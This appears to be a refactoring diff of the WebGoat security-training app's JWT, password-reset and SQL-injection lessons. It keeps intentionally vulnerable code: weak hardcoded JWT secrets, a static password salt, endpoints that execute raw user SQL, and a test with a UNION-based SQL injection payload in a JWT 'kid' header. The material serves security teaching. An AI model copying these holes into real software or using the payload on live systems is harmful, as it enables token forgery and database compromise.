import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import java.util.Date;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.*;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
/**
|
||||
@ -52,7 +45,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
|
||||
|
||||
public static final String PASSWORD = "bm5nhSkxCXZkKRy4";
|
||||
private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4";
|
||||
private static final List<String> validRefreshTokens = Lists.newArrayList();
|
||||
private static final List<String> validRefreshTokens = new ArrayList<>();
|
||||
|
||||
@PostMapping(value = "/JWT/refresh/login", consumes = MediaType.APPLICATION_JSON_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@ResponseBody
|
||||
@ -67,7 +60,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
|
||||
}
|
||||
|
||||
private Map<String, Object> createNewTokens(String user) {
|
||||
Map<String, Object> claims = Maps.newHashMap();
|
||||
Map<String, Object> claims = new HashMap<>();
|
||||
claims.put("admin", "false");
|
||||
claims.put("user", user);
|
||||
String token = Jwts.builder()
|
||||
@ -75,7 +68,7 @@ public class JWTRefreshEndpoint extends AssignmentEndpoint {
|
||||
.setClaims(claims)
|
||||
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)
|
||||
.compact();
|
||||
Map<String, Object> tokenJson = Maps.newHashMap();
|
||||
Map<String, Object> tokenJson = new HashMap<>();
|
||||
String refreshToken = RandomStringUtils.randomAlphabetic(20);
|
||||
validRefreshTokens.add(refreshToken);
|
||||
tokenJson.put("access_token", token);
|
||||
|
@ -22,24 +22,16 @@
|
||||
|
||||
package org.owasp.webgoat.jwt;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import io.jsonwebtoken.impl.TextCodec;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
|
||||
import io.jsonwebtoken.Claims;
|
||||
import io.jsonwebtoken.Jwt;
|
||||
import io.jsonwebtoken.Jwts;
|
||||
import io.jsonwebtoken.SignatureAlgorithm;
|
||||
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
import io.jsonwebtoken.impl.TextCodec;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import java.time.Instant;
|
||||
import java.util.Calendar;
|
||||
@ -55,12 +47,12 @@ import java.util.Random;
|
||||
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
|
||||
public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
|
||||
|
||||
public static final String[] SECRETS = {"victory","business","available", "shipping", "washington"};
|
||||
public static final String[] SECRETS = {"victory", "business", "available", "shipping", "washington"};
|
||||
public static final String JWT_SECRET = TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]);
|
||||
private static final String WEBGOAT_USER = "WebGoat";
|
||||
private static final List<String> expectedClaims = Lists.newArrayList("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role");
|
||||
private static final List<String> expectedClaims = List.of("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role");
|
||||
|
||||
@RequestMapping(path="/JWT/secret/gettoken",produces=MediaType.TEXT_HTML_VALUE)
|
||||
@RequestMapping(path = "/JWT/secret/gettoken", produces = MediaType.TEXT_HTML_VALUE)
|
||||
@ResponseBody
|
||||
public String getSecretToken() {
|
||||
return Jwts.builder()
|
||||
@ -71,7 +63,7 @@ public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
|
||||
.setSubject("tom@webgoat.org")
|
||||
.claim("username", "Tom")
|
||||
.claim("Email", "tom@webgoat.org")
|
||||
.claim("Role", new String[] {"Manager", "Project Administrator"})
|
||||
.claim("Role", new String[]{"Manager", "Project Administrator"})
|
||||
.signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact();
|
||||
}
|
||||
|
||||
|
@ -22,7 +22,6 @@
|
||||
|
||||
package org.owasp.webgoat.jwt;
|
||||
|
||||
import com.google.common.collect.Maps;
|
||||
import io.jsonwebtoken.Claims;
|
||||
import io.jsonwebtoken.Jwt;
|
||||
import io.jsonwebtoken.JwtException;
|
||||
@ -46,6 +45,7 @@ import javax.servlet.http.HttpServletResponse;
|
||||
import java.time.Duration;
|
||||
import java.time.Instant;
|
||||
import java.util.Date;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static java.util.Comparator.comparingLong;
|
||||
@ -64,7 +64,7 @@ public class JWTVotesEndpoint extends AssignmentEndpoint {
|
||||
private static String validUsers = "TomJerrySylvester";
|
||||
|
||||
private static int totalVotes = 38929;
|
||||
private Map<String, Vote> votes = Maps.newHashMap();
|
||||
private Map<String, Vote> votes = new HashMap<>();
|
||||
|
||||
@PostConstruct
|
||||
public void initVotes() {
|
||||
|
@ -1,6 +1,5 @@
|
||||
package org.owasp.webgoat.jwt;
|
||||
|
||||
import com.google.common.collect.Maps;
|
||||
import io.jsonwebtoken.Jwts;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.Before;
|
||||
@ -8,12 +7,12 @@ import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.owasp.webgoat.plugins.LessonTest;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.autoconfigure.core.AutoConfigureCache;
|
||||
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import java.util.Date;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
@ -39,7 +38,7 @@ public class JWTFinalEndpointTest extends LessonTest {
|
||||
@Test
|
||||
public void solveAssignment() throws Exception {
|
||||
String key = "deletingTom";
|
||||
Map<String, Object> claims = Maps.newHashMap();
|
||||
Map<String, Object> claims = new HashMap<>();
|
||||
claims.put("username", "Tom");
|
||||
String token = Jwts.builder()
|
||||
.setHeaderParam("kid", "hacked' UNION select '" + key + "' from INFORMATION_SCHEMA.SYSTEM_USERS --")
|
||||
|
@ -23,7 +23,6 @@
|
||||
package org.owasp.webgoat.jwt;
|
||||
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.google.common.collect.Maps;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.Before;
|
||||
import org.junit.Test;
|
||||
@ -36,6 +35,7 @@ import org.springframework.test.web.servlet.MvcResult;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static org.hamcrest.Matchers.is;
|
||||
@ -62,9 +62,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
|
||||
//First login to obtain tokens for Jerry
|
||||
Map<String, Object> loginJson = Maps.newHashMap();
|
||||
loginJson.put("user", "Jerry");
|
||||
loginJson.put("password", PASSWORD);
|
||||
var loginJson = Map.of("user", "Jerry", "password", PASSWORD);
|
||||
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.content(objectMapper.writeValueAsString(loginJson)))
|
||||
@ -76,7 +74,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
||||
|
||||
//Now create a new refresh token for Tom based on Toms old access token and send the refresh token of Jerry
|
||||
String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q";
|
||||
Map<String, Object> refreshJson = Maps.newHashMap();
|
||||
Map<String, Object> refreshJson = new HashMap<>();
|
||||
refreshJson.put("refresh_token", refreshToken);
|
||||
result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
@ -116,9 +114,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
||||
public void flowForJerryAlwaysWorks() throws Exception {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
|
||||
Map<String, Object> loginJson = Maps.newHashMap();
|
||||
loginJson.put("user", "Jerry");
|
||||
loginJson.put("password", PASSWORD);
|
||||
var loginJson = Map.of("user", "Jerry", "password", PASSWORD);
|
||||
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.content(objectMapper.writeValueAsString(loginJson)))
|
||||
@ -137,9 +133,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
||||
public void loginShouldNotWorkForJerryWithWrongPassword() throws Exception {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
|
||||
Map<String, Object> loginJson = Maps.newHashMap();
|
||||
loginJson.put("user", "Jerry");
|
||||
loginJson.put("password", PASSWORD + "wrong");
|
||||
var loginJson = Map.of("user", "Jerry", "password", PASSWORD + "wrong");
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.content(objectMapper.writeValueAsString(loginJson)))
|
||||
@ -150,9 +144,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
||||
public void loginShouldNotWorkForTom() throws Exception {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
|
||||
Map<String, Object> loginJson = Maps.newHashMap();
|
||||
loginJson.put("user", "Tom");
|
||||
loginJson.put("password", PASSWORD);
|
||||
var loginJson = Map.of("user", "Tom", "password", PASSWORD);
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.content(objectMapper.writeValueAsString(loginJson)))
|
||||
@ -162,7 +154,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
||||
@Test
|
||||
public void newTokenShouldWorkForJerry() throws Exception {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
Map<String, Object> loginJson = Maps.newHashMap();
|
||||
Map<String, Object> loginJson = new HashMap<>();
|
||||
loginJson.put("user", "Jerry");
|
||||
loginJson.put("password", PASSWORD);
|
||||
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
||||
@ -174,8 +166,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
||||
String accessToken = tokens.get("access_token");
|
||||
String refreshToken = tokens.get("refresh_token");
|
||||
|
||||
Map<String, Object> refreshJson = Maps.newHashMap();
|
||||
refreshJson.put("refresh_token", refreshToken);
|
||||
var refreshJson = Map.of("refresh_token", refreshToken);
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.header("Authorization", "Bearer " + accessToken)
|
||||
@ -186,7 +177,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
||||
@Test
|
||||
public void unknownRefreshTokenShouldGiveUnauthorized() throws Exception {
|
||||
ObjectMapper objectMapper = new ObjectMapper();
|
||||
Map<String, Object> loginJson = Maps.newHashMap();
|
||||
Map<String, Object> loginJson = new HashMap<>();
|
||||
loginJson.put("user", "Jerry");
|
||||
loginJson.put("password", PASSWORD);
|
||||
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login")
|
||||
@ -197,8 +188,7 @@ public class JWTRefreshEndpointTest extends LessonTest {
|
||||
Map<String, String> tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class);
|
||||
String accessToken = tokens.get("access_token");
|
||||
|
||||
Map<String, Object> refreshJson = Maps.newHashMap();
|
||||
refreshJson.put("refresh_token", "wrong_refresh_token");
|
||||
var refreshJson = Map.of("refresh_token", "wrong_refresh_token");
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.header("Authorization", "Bearer " + accessToken)
|
||||
|
@ -22,16 +22,12 @@
|
||||
|
||||
package org.owasp.webgoat.jwt;
|
||||
|
||||
import com.google.common.base.Charsets;
|
||||
import com.google.common.collect.Maps;
|
||||
import io.jsonwebtoken.*;
|
||||
import io.jsonwebtoken.impl.TextCodec;
|
||||
import org.junit.Test;
|
||||
|
||||
import java.time.Duration;
|
||||
import java.time.Instant;
|
||||
import java.time.LocalDateTime;
|
||||
import java.time.Period;
|
||||
import java.util.Date;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
@ -41,10 +37,7 @@ public class TokenTest {
|
||||
@Test
|
||||
public void test() {
|
||||
String key = "qwertyqwerty1234";
|
||||
Map<String, Object> claims = Maps.newHashMap();
|
||||
claims.put("username", "Jerry");
|
||||
claims.put("aud", "webgoat.org");
|
||||
claims.put("email", "jerry@webgoat.com");
|
||||
Map<String, Object> claims = Map.of("username", "Jerry", "aud", "webgoat.org", "email", "jerry@webgoat.com");
|
||||
String token = Jwts.builder()
|
||||
.setHeaderParam("kid", "webgoat_key")
|
||||
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
|
||||
@ -52,7 +45,7 @@ public class TokenTest {
|
||||
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key).compact();
|
||||
System.out.println(token);
|
||||
Jwt jwt = Jwts.parser().setSigningKey("qwertyqwerty1234").parse(token);
|
||||
jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter(){
|
||||
jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
|
||||
@Override
|
||||
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
|
||||
return TextCodec.BASE64.decode(key);
|
||||
|
@ -1,7 +1,5 @@
|
||||
package org.owasp.webgoat.missing_ac;
|
||||
|
||||
|
||||
import lombok.Getter;
|
||||
import org.owasp.webgoat.users.WebGoatUser;
|
||||
import org.springframework.security.core.GrantedAuthority;
|
||||
|
||||
@ -32,10 +30,8 @@ import java.util.Base64;
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
* <p>
|
||||
*
|
||||
*/
|
||||
|
||||
|
||||
public class DisplayUser {
|
||||
//intended to provide a display version of WebGoatUser for admins to view user attributes
|
||||
|
||||
@ -63,7 +59,7 @@ public class DisplayUser {
|
||||
|
||||
}
|
||||
|
||||
protected String genUserHash (String username, String password) throws Exception {
|
||||
protected String genUserHash(String username, String password) throws Exception {
|
||||
MessageDigest md = MessageDigest.getInstance("SHA-256");
|
||||
// salting is good, but static & too predictable ... short too for a salt
|
||||
String salted = password + "DeliberatelyInsecure1234" + username;
|
||||
|
@ -22,23 +22,14 @@
|
||||
|
||||
package org.owasp.webgoat.missing_ac;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.UserSessionData;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
|
||||
import java.util.Map;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
/**
|
||||
* Created by jason on 1/5/17.
|
||||
|
@ -58,7 +58,6 @@ public class Users {
|
||||
|
||||
if ((results != null) && (results.first() == true)) {
|
||||
while (results.next()) {
|
||||
int id = results.getInt(0);
|
||||
HashMap<String, String> userMap = new HashMap<>();
|
||||
userMap.put("first", results.getString(1));
|
||||
userMap.put("last", results.getString(2));
|
||||
@ -66,7 +65,7 @@ public class Users {
|
||||
userMap.put("ccType", results.getString(4));
|
||||
userMap.put("cookie", results.getString(5));
|
||||
userMap.put("loginCount", Integer.toString(results.getInt(6)));
|
||||
allUsersMap.put(id, userMap);
|
||||
allUsersMap.put(results.getInt(0), userMap);
|
||||
}
|
||||
userSessionData.setValue("allUsers", allUsersMap);
|
||||
return allUsersMap;
|
||||
|
@ -40,7 +40,7 @@ import java.util.Map;
|
||||
@RestController
|
||||
public class QuestionsAssignment extends AssignmentEndpoint {
|
||||
|
||||
private final static Map<String, String> COLORS = new HashMap<>();
|
||||
private static final Map<String, String> COLORS = new HashMap<>();
|
||||
|
||||
static {
|
||||
COLORS.put("admin", "green");
|
||||
|
@ -22,8 +22,7 @@
|
||||
|
||||
package org.owasp.webgoat.password_reset;
|
||||
|
||||
import com.google.common.collect.EvictingQueue;
|
||||
import com.google.common.collect.Maps;
|
||||
import com.beust.jcommander.internal.Maps;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
@ -33,6 +32,9 @@ import org.springframework.validation.BindingResult;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
import org.springframework.web.servlet.ModelAndView;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
@ -45,18 +47,18 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
|
||||
|
||||
static final String PASSWORD_TOM_9 = "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom";
|
||||
static final String TOM_EMAIL = "tom@webgoat-cloud.org";
|
||||
static Map<String, String> userToTomResetLink = Maps.newHashMap();
|
||||
static Map<String, String> userToTomResetLink = new HashMap<>();
|
||||
static Map<String, String> usersToTomPassword = Maps.newHashMap();
|
||||
static EvictingQueue<String> resetLinks = EvictingQueue.create(1000);
|
||||
static List<String> resetLinks = new ArrayList<>();
|
||||
|
||||
static final String TEMPLATE = "Hi, you requested a password reset link, please use this " +
|
||||
"<a target='_blank' href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your password." +
|
||||
"\n \n\n" +
|
||||
"If you did not request this password change you can ignore this message." +
|
||||
"\n" +
|
||||
"If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org" +
|
||||
"\n\n" +
|
||||
"Kind regards, \nTeam WebGoat";
|
||||
static final String TEMPLATE = "Hi, you requested a password reset link, please use this "
|
||||
+ "<a target='_blank' href='http://%s/WebGoat/PasswordReset/reset/reset-password/%s'>link</a> to reset your password."
|
||||
+ "\n \n\n"
|
||||
+ "If you did not request this password change you can ignore this message."
|
||||
+ "\n"
|
||||
+ "If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org"
|
||||
+ "\n\n"
|
||||
+ "Kind regards, \nTeam WebGoat";
|
||||
|
||||
|
||||
@PostMapping("/PasswordReset/reset/login")
|
||||
|
@ -22,17 +22,17 @@
|
||||
|
||||
package org.owasp.webgoat.password_reset;
|
||||
|
||||
import com.google.common.collect.Sets;
|
||||
import org.springframework.stereotype.Component;
|
||||
import org.springframework.web.context.annotation.SessionScope;
|
||||
|
||||
import java.util.HashSet;
|
||||
import java.util.Set;
|
||||
|
||||
@Component
|
||||
@SessionScope
|
||||
public class TriedQuestions {
|
||||
|
||||
private Set<String> answeredQuestions = Sets.newHashSet();
|
||||
private Set<String> answeredQuestions = new HashSet<>();
|
||||
|
||||
public void incr(String question) {
|
||||
answeredQuestions.add(question);
|
||||
|
@ -15,7 +15,7 @@ import javax.validation.constraints.Size;
|
||||
public class PasswordChangeForm {
|
||||
|
||||
@NotNull
|
||||
@Size(min=6, max=10)
|
||||
@Size(min = 6, max = 10)
|
||||
private String password;
|
||||
private String resetLink;
|
||||
|
||||
|
@ -39,36 +39,36 @@ public class SecurePasswordsAssignment extends AssignmentEndpoint {
|
||||
@ResponseBody
|
||||
public AttackResult completed(@RequestParam String password) {
|
||||
Zxcvbn zxcvbn = new Zxcvbn();
|
||||
Strength strength = zxcvbn.measure(password);
|
||||
StringBuffer output = new StringBuffer();
|
||||
DecimalFormat df = new DecimalFormat("0", DecimalFormatSymbols.getInstance(Locale.ENGLISH));
|
||||
df.setMaximumFractionDigits(340);
|
||||
Strength strength = zxcvbn.measure(password);
|
||||
|
||||
output.append("<b>Your Password: *******</b></br>");
|
||||
output.append("<b>Length: </b>" + password.length()+ "</br>");
|
||||
output.append("<b>Estimated guesses needed to crack your password: </b>" + df.format(strength.getGuesses())+ "</br>");
|
||||
output.append("<div style=\"float: left;padding-right: 10px;\"><b>Score: </b>" + strength.getScore()+ "/4 </div>");
|
||||
if(strength.getScore()<=1){
|
||||
output.append("<b>Length: </b>" + password.length() + "</br>");
|
||||
output.append("<b>Estimated guesses needed to crack your password: </b>" + df.format(strength.getGuesses()) + "</br>");
|
||||
output.append("<div style=\"float: left;padding-right: 10px;\"><b>Score: </b>" + strength.getScore() + "/4 </div>");
|
||||
if (strength.getScore() <= 1) {
|
||||
output.append("<div style=\"background-color:red;width: 200px;border-radius: 12px;float: left;\"> </div></br>");
|
||||
} else if(strength.getScore()<=3){
|
||||
} else if (strength.getScore() <= 3) {
|
||||
output.append("<div style=\"background-color:orange;width: 200px;border-radius: 12px;float: left;\"> </div></br>");
|
||||
} else{
|
||||
} else {
|
||||
output.append("<div style=\"background-color:green;width: 200px;border-radius: 12px;float: left;\"> </div></br>");
|
||||
}
|
||||
output.append("<b>Estimated cracking time: </b>" + calculateTime((long) strength.getCrackTimeSeconds().getOnlineNoThrottling10perSecond()));
|
||||
if(strength.getFeedback().getWarning().length() != 0)
|
||||
if (strength.getFeedback().getWarning().length() != 0)
|
||||
output.append("</br><b>Warning: </b>" + strength.getFeedback().getWarning());
|
||||
// possible feedback: https://github.com/dropbox/zxcvbn/blob/master/src/feedback.coffee
|
||||
// maybe ask user to try also weak passwords to see and understand feedback?
|
||||
if(strength.getFeedback().getSuggestions().size() != 0){
|
||||
if (strength.getFeedback().getSuggestions().size() != 0) {
|
||||
output.append("</br><b>Suggestions:</b></br><ul>");
|
||||
for(String sug: strength.getFeedback().getSuggestions()) output.append("<li>"+sug+"</li>");
|
||||
for (String sug : strength.getFeedback().getSuggestions()) output.append("<li>" + sug + "</li>");
|
||||
output.append("</ul></br>");
|
||||
}
|
||||
output.append("<b>Score: </b>" + strength.getScore()+ "/5 </br>");
|
||||
output.append("<b>Score: </b>" + strength.getScore() + "/5 </br>");
|
||||
output.append("<b>Estimated cracking time in seconds: </b>" + calculateTime((long) strength.getCrackTimeSeconds().getOnlineNoThrottling10perSecond()));
|
||||
|
||||
if(strength.getScore() >= 4)
|
||||
if (strength.getScore() >= 4)
|
||||
return trackProgress(success().feedback("securepassword-success").output(output.toString()).build());
|
||||
else
|
||||
return trackProgress(failed().feedback("securepassword-failed").output(output.toString()).build());
|
||||
@ -76,16 +76,16 @@ public class SecurePasswordsAssignment extends AssignmentEndpoint {
|
||||
|
||||
public static String calculateTime(long seconds) {
|
||||
int s = 1;
|
||||
int min = (60*s);
|
||||
int hr = (60*min);
|
||||
int d = (24*hr);
|
||||
int yr = (365*d);
|
||||
int min = (60 * s);
|
||||
int hr = (60 * min);
|
||||
int d = (24 * hr);
|
||||
int yr = (365 * d);
|
||||
|
||||
long years = seconds/(d)/365;
|
||||
long days = (seconds%yr)/(d);
|
||||
long hours = (seconds%d)/(hr);
|
||||
long minutes = (seconds%hr)/(min);
|
||||
long sec = (seconds%min*s);
|
||||
long years = seconds / (d) / 365;
|
||||
long days = (seconds % yr) / (d);
|
||||
long hours = (seconds % d) / (hr);
|
||||
long minutes = (seconds % hr) / (min);
|
||||
long sec = (seconds % min * s);
|
||||
|
||||
return (years + " years " + days + " days " + hours + " hours " + minutes + " minutes " + sec + " seconds");
|
||||
}
|
||||
|
@ -47,7 +47,7 @@ public class SqlInjectionQuiz extends AssignmentEndpoint {
|
||||
|
||||
String[] givenAnswers = {question_0_solution[0], question_1_solution[0], question_2_solution[0], question_3_solution[0], question_4_solution[0]};
|
||||
|
||||
for(int i = 0; i < solutions.length; i++) {
|
||||
for (int i = 0; i < solutions.length; i++) {
|
||||
if (givenAnswers[i].contains(solutions[i])) {
|
||||
// answer correct
|
||||
correctAnswers++;
|
||||
@ -58,7 +58,7 @@ public class SqlInjectionQuiz extends AssignmentEndpoint {
|
||||
}
|
||||
}
|
||||
|
||||
if(correctAnswers == solutions.length) {
|
||||
if (correctAnswers == solutions.length) {
|
||||
return trackProgress(success().build());
|
||||
} else {
|
||||
return trackProgress(failed().build());
|
||||
|
@ -93,8 +93,8 @@ public class SqlInjectionLesson10 extends AssignmentEndpoint {
|
||||
int cols = results.getMetaData().getColumnCount();
|
||||
return (cols > 0);
|
||||
} catch (SQLException e) {
|
||||
String error_msg = e.getMessage();
|
||||
if (error_msg.contains("object not found: ACCESS_LOG")) {
|
||||
String errorMsg = e.getMessage();
|
||||
if (errorMsg.contains("object not found: ACCESS_LOG")) {
|
||||
return false;
|
||||
} else {
|
||||
System.err.println(e.getMessage());
|
||||
|
@ -57,19 +57,19 @@ public class SqlInjectionLesson3 extends AssignmentEndpoint {
|
||||
return injectableQuery(query);
|
||||
}
|
||||
|
||||
protected AttackResult injectableQuery(String _query) {
|
||||
protected AttackResult injectableQuery(String query) {
|
||||
try (Connection connection = dataSource.getConnection()) {
|
||||
try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {
|
||||
Statement check_statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE,
|
||||
Statement checkStatement = connection.createStatement(TYPE_SCROLL_INSENSITIVE,
|
||||
CONCUR_READ_ONLY);
|
||||
statement.executeUpdate(_query);
|
||||
ResultSet _results = check_statement.executeQuery("SELECT * FROM employees WHERE last_name='Barnett';");
|
||||
statement.executeUpdate(query);
|
||||
ResultSet results = checkStatement.executeQuery("SELECT * FROM employees WHERE last_name='Barnett';");
|
||||
StringBuffer output = new StringBuffer();
|
||||
// user completes lesson if the department of Tobi Barnett now is 'Sales'
|
||||
_results.first();
|
||||
if (_results.getString("department").equals("Sales")) {
|
||||
output.append("<span class='feedback-positive'>" + _query + "</span>");
|
||||
output.append(SqlInjectionLesson8.generateTable(_results));
|
||||
results.first();
|
||||
if (results.getString("department").equals("Sales")) {
|
||||
output.append("<span class='feedback-positive'>" + query + "</span>");
|
||||
output.append(SqlInjectionLesson8.generateTable(results));
|
||||
return trackProgress(success().output(output.toString()).build());
|
||||
} else {
|
||||
return trackProgress(failed().output(output.toString()).build());
|
||||
|
@ -53,16 +53,16 @@ public class SqlInjectionLesson4 extends AssignmentEndpoint {
|
||||
return injectableQuery(query);
|
||||
}
|
||||
|
||||
protected AttackResult injectableQuery(String _query) {
|
||||
protected AttackResult injectableQuery(String query) {
|
||||
try (Connection connection = dataSource.getConnection()) {
|
||||
try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {
|
||||
statement.executeUpdate(_query);
|
||||
statement.executeUpdate(query);
|
||||
connection.commit();
|
||||
ResultSet _results = statement.executeQuery("SELECT phone from employees;");
|
||||
ResultSet results = statement.executeQuery("SELECT phone from employees;");
|
||||
StringBuffer output = new StringBuffer();
|
||||
// user completes lesson if column phone exists
|
||||
if (_results.first()) {
|
||||
output.append("<span class='feedback-positive'>" + _query + "</span>");
|
||||
if (results.first()) {
|
||||
output.append("<span class='feedback-positive'>" + query + "</span>");
|
||||
return trackProgress(success().output(output.toString()).build());
|
||||
} else {
|
||||
return trackProgress(failed().output(output.toString()).build());
|
||||
|
@ -22,7 +22,6 @@
|
||||
|
||||
package org.owasp.webgoat.sql_injection.introduction;
|
||||
|
||||
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
